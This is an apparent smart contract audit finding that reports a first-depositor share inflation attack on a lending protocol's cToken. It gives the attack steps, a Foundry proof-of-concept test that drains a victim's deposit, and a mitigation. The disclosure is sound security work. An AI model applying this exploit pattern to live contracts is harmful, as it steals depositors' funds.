Skip to content

Latest commit

 

History

History
79 lines (52 loc) · 2.33 KB

040.md

File metadata and controls

79 lines (52 loc) · 2.33 KB

Small Shamrock Rook

High

The cToken exchange rate can be inflated to steal from the first depositor

Summary

The CNumaToken's share value can be inflated, causing the first depositor's deposit to yield zero shares, allowing the attacker to steal the entire first deposit.

Root Cause

Typical vault inflation attack.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

  1. Attacker mints minimal cTokens and directly transfers large amount of underlying tokens to inflate exchange rate.
  2. Victim deposits large amount but receives 0 cTokens due to inflated exchange rate.
  3. Attacker redeems their minimal cTokens for all the underlying tokens, stealing from victim.

Impact

Stolen deposited funds from the depositor

PoC

Add the test to Lending.t.sol:

function test_cTokenInflationAttack() public {
    address attacker = makeAddr("attacker");
    address depositor = makeAddr("depositor");

    // both have an initial balance of 1e20
    deal(address(numa), address(attacker), 1e20);
    deal(address(numa), address(depositor), 1e20);

    // rate before
    uint256 rate = cNuma.exchangeRateCurrent();
    console.log("rate is %e", rate);
    console.log("total supply is %e", cNuma.totalSupply());

    vm.startPrank(attacker);
    numa.approve(address(cNuma), type(uint256).max);
    uint256 mintAmt = 2e8;
    cNuma.mint(mintAmt);
    numa.transfer(address(cNuma), 1e20 - 2e8);
    
    // rate after
    rate = cNuma.exchangeRateCurrent();
    console.log("rate is %e", rate);
    console.log("total supply is %e", cNuma.totalSupply());
    

    vm.startPrank(depositor);
    numa.approve(address(cNuma), type(uint256).max);
    cNuma.mint(9e19);

    console.log("total supply after depositor mints %e", cNuma.totalSupply());
    vm.startPrank(attacker);
    cNuma.redeem(1);
    console.log("total supply after i redeem %e", cNuma.totalSupply());
    console.log("attacker balance after: %e", numa.balanceOf(attacker));
    console.log("victim balance after: %e", numa.balanceOf(depositor));

}

Mitigation

Upon initialisation of the cToken, enforce an initial mint of a small amount of cTokens (e.g 1000) to make the attack infeasible.